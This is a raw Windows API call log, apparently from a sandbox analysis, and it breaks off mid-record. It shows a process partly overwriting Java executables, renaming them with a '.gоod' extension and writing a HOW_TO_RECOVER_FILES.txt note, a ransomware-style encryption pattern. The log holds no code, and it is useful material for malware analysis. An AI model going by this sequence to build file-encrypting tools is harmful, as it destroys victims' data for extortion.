lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\java.exe"), fInfoLevelId=0x0, lpFileInformation=0x3506980 | out: lpFileInformation=0x3506980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840)) returned 1 [0111.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed290) returned 1 [0111.025] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", lpFilePart=0x0) returned 0x2c [0111.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0111.025] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0111.025] GetFileType (hFile=0x6e8) returned 0x1 [0111.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0111.025] GetFileType (hFile=0x6e8) returned 0x1 [0111.025] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faed328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faed328*=0) returned 0x1000 [0111.025] ReadFile (in: hFile=0x6e8, lpBuffer=0x3506d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3506d28*, lpNumberOfBytesRead=0x1faed2f8*=0x1000, lpOverlapped=0x0) returned 1 [0111.027] CloseHandle (hObject=0x6e8) returned 1 [0111.027] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", lpFilePart=0x0) returned 0x2c [0111.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0111.027] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0111.027] GetFileType (hFile=0x6e8) returned 0x1 [0111.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0111.027] GetFileType (hFile=0x6e8) returned 0x1 [0111.027] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faed328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faed328*=0) returned 0x32840 [0111.027] WriteFile (in: hFile=0x6e8, lpBuffer=0x3507f88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faed218, lpOverlapped=0x0 | out: lpBuffer=0x3507f88*, lpNumberOfBytesWritten=0x1faed218*=0x10, lpOverlapped=0x0) returned 1 [0111.028] CloseHandle (hObject=0x6e8) returned 1 [0111.028] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", lpFilePart=0x0) returned 0x2c [0111.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0111.028] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0111.029] GetFileType (hFile=0x6e8) returned 0x1 [0111.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0111.029] GetFileType (hFile=0x6e8) returned 0x1 [0111.029] ReadFile (in: hFile=0x6e8, lpBuffer=0x350a210, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faed2a8, lpOverlapped=0x0 | out: lpBuffer=0x350a210*, lpNumberOfBytesRead=0x1faed2a8*=0x1000, lpOverlapped=0x0) returned 1 [0112.784] CloseHandle (hObject=0x6e8) returned 1 [0112.784] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", lpFilePart=0x0) returned 0x2c [0112.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0112.784] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0112.784] GetFileType (hFile=0x6e8) returned 0x1 [0112.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0112.784] GetFileType (hFile=0x6e8) returned 0x1 [0112.785] WriteFile (in: hFile=0x6e8, lpBuffer=0x33c3148*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faed358, lpOverlapped=0x0 | out: lpBuffer=0x33c3148*, lpNumberOfBytesWritten=0x1faed358*=0x1010, lpOverlapped=0x0) returned 1 [0112.785] CloseHandle (hObject=0x6e8) returned 1 [0112.785] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe", lpFilePart=0x0) returned 0x2c [0112.785] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe.gоod", lpFilePart=0x0) returned 0x31 [0112.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed290) returned 1 [0112.785] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\java.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faed370 | out: lpFileInformation=0x1faed370*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f6f7a6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850)) returned 1 [0112.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed250) returned 1 [0112.785] MoveFileW (lpExistingFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\java.exe"), lpNewFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\java.exe.gоod" (normalized: "c:\\programdata\\oracle\\java\\javapath\\java.exe.gоod")) returned 1 [0113.023] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", lpFilePart=0x0) returned 0x2d [0113.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed2d0) returned 1 [0113.023] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaw.exe"), fInfoLevelId=0x0, lpFileInformation=0x35ecd40 | out: lpFileInformation=0x35ecd40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840)) returned 1 [0113.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed290) returned 1 [0113.023] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", lpFilePart=0x0) returned 0x2d [0113.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0113.023] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0113.023] GetFileType (hFile=0x6e8) returned 0x1 [0113.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0113.023] GetFileType (hFile=0x6e8) returned 0x1 [0113.023] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faed328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faed328*=0) returned 0x1000 [0113.024] ReadFile (in: hFile=0x6e8, lpBuffer=0x35ed0e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35ed0e8*, lpNumberOfBytesRead=0x1faed2f8*=0x1000, lpOverlapped=0x0) returned 1 [0113.026] CloseHandle (hObject=0x6e8) returned 1 [0113.026] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", lpFilePart=0x0) returned 0x2d [0113.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0113.026] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0113.026] GetFileType (hFile=0x6e8) returned 0x1 [0113.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0113.026] GetFileType (hFile=0x6e8) returned 0x1 [0113.026] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faed328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faed328*=0) returned 0x32840 [0113.026] WriteFile (in: hFile=0x6e8, lpBuffer=0x35ee348*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faed218, lpOverlapped=0x0 | out: lpBuffer=0x35ee348*, lpNumberOfBytesWritten=0x1faed218*=0x10, lpOverlapped=0x0) returned 1 [0113.027] CloseHandle (hObject=0x6e8) returned 1 [0113.028] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", lpFilePart=0x0) returned 0x2d [0113.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0113.028] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0113.028] GetFileType (hFile=0x6e8) returned 0x1 [0113.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0113.028] GetFileType (hFile=0x6e8) returned 0x1 [0113.028] ReadFile (in: hFile=0x6e8, lpBuffer=0x35f05d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faed2a8, lpOverlapped=0x0 | out: lpBuffer=0x35f05d0*, lpNumberOfBytesRead=0x1faed2a8*=0x1000, lpOverlapped=0x0) returned 1 [0113.636] CloseHandle (hObject=0x6e8) returned 1 [0113.636] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", lpFilePart=0x0) returned 0x2d [0113.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0113.636] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0113.636] GetFileType (hFile=0x6e8) returned 0x1 [0113.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0113.636] GetFileType (hFile=0x6e8) returned 0x1 [0113.636] WriteFile (in: hFile=0x6e8, lpBuffer=0x345a388*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faed358, lpOverlapped=0x0 | out: lpBuffer=0x345a388*, lpNumberOfBytesWritten=0x1faed358*=0x1010, lpOverlapped=0x0) returned 1 [0113.636] CloseHandle (hObject=0x6e8) returned 1 [0113.636] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe", lpFilePart=0x0) returned 0x2d [0113.636] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe.gоod", lpFilePart=0x0) returned 0x32 [0113.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed290) returned 1 [0113.636] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaw.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faed370 | out: lpFileInformation=0x1faed370*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ff2d602, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850)) returned 1 [0113.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed250) returned 1 [0113.637] MoveFileW (lpExistingFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaw.exe"), lpNewFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaw.exe.gоod" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaw.exe.gоod")) returned 1 [0113.639] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", lpFilePart=0x0) returned 0x2e [0113.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed2d0) returned 1 [0113.639] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaws.exe"), fInfoLevelId=0x0, lpFileInformation=0x3649038 | out: lpFileInformation=0x3649038*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040)) returned 1 [0113.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed290) returned 1 [0113.639] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", lpFilePart=0x0) returned 0x2e [0113.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0113.639] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0113.639] GetFileType (hFile=0x6e8) returned 0x1 [0113.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0113.639] GetFileType (hFile=0x6e8) returned 0x1 [0113.640] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faed328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faed328*=0) returned 0x1000 [0113.640] ReadFile (in: hFile=0x6e8, lpBuffer=0x36493e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faed2f8, lpOverlapped=0x0 | out: lpBuffer=0x36493e0*, lpNumberOfBytesRead=0x1faed2f8*=0x1000, lpOverlapped=0x0) returned 1 [0113.641] CloseHandle (hObject=0x6e8) returned 1 [0113.641] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", lpFilePart=0x0) returned 0x2e [0113.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0113.641] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0113.641] GetFileType (hFile=0x6e8) returned 0x1 [0113.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0113.641] GetFileType (hFile=0x6e8) returned 0x1 [0113.641] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faed328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faed328*=0) returned 0x4e040 [0113.641] WriteFile (in: hFile=0x6e8, lpBuffer=0x364a670*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faed218, lpOverlapped=0x0 | out: lpBuffer=0x364a670*, lpNumberOfBytesWritten=0x1faed218*=0x10, lpOverlapped=0x0) returned 1 [0113.643] CloseHandle (hObject=0x6e8) returned 1 [0113.643] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", lpFilePart=0x0) returned 0x2e [0113.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0113.643] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0113.643] GetFileType (hFile=0x6e8) returned 0x1 [0113.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0113.643] GetFileType (hFile=0x6e8) returned 0x1 [0113.643] ReadFile (in: hFile=0x6e8, lpBuffer=0x364c948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faed2a8, lpOverlapped=0x0 | out: lpBuffer=0x364c948*, lpNumberOfBytesRead=0x1faed2a8*=0x1000, lpOverlapped=0x0) returned 1 [0113.751] CloseHandle (hObject=0x6e8) returned 1 [0113.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1faeccb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", lpFilePart=0x0) returned 0x2e [0113.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed1d0) returned 1 [0113.752] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0113.752] GetFileType (hFile=0x6e8) returned 0x1 [0113.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed140) returned 1 [0113.752] GetFileType (hFile=0x6e8) returned 0x1 [0113.752] WriteFile (in: hFile=0x6e8, lpBuffer=0x3485ba0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faed358, lpOverlapped=0x0 | out: lpBuffer=0x3485ba0*, lpNumberOfBytesWritten=0x1faed358*=0x1010, lpOverlapped=0x0) returned 1 [0113.752] CloseHandle (hObject=0x6e8) returned 1 [0113.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe", lpFilePart=0x0) returned 0x2e [0113.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faece00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe.gоod", lpFilePart=0x0) returned 0x33 [0113.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed290) returned 1 [0113.752] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaws.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faed370 | out: lpFileInformation=0x1faed370*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050)) returned 1 [0113.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed250) returned 1 [0113.753] MoveFileW (lpExistingFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaws.exe"), lpNewFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\javaws.exe.gоod" (normalized: "c:\\programdata\\oracle\\java\\javapath\\javaws.exe.gоod")) returned 1 [0113.753] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faecf70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0113.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed490) returned 1 [0113.753] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\oracle\\java\\javapath\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0113.754] GetFileType (hFile=0x6e8) returned 0x1 [0113.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed400) returned 1 [0113.754] GetFileType (hFile=0x6e8) returned 0x1 [0113.755] WriteFile (in: hFile=0x6e8, lpBuffer=0x34ef1a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faed558, lpOverlapped=0x0 | out: lpBuffer=0x34ef1a0*, lpNumberOfBytesWritten=0x1faed558*=0x5d0, lpOverlapped=0x0) returned 1 [0113.755] CloseHandle (hObject=0x6e8) returned 1 [0113.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0113.756] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984", lpFilePart=0x0) returned 0x31 [0113.756] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0113.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.756] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x400385bf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 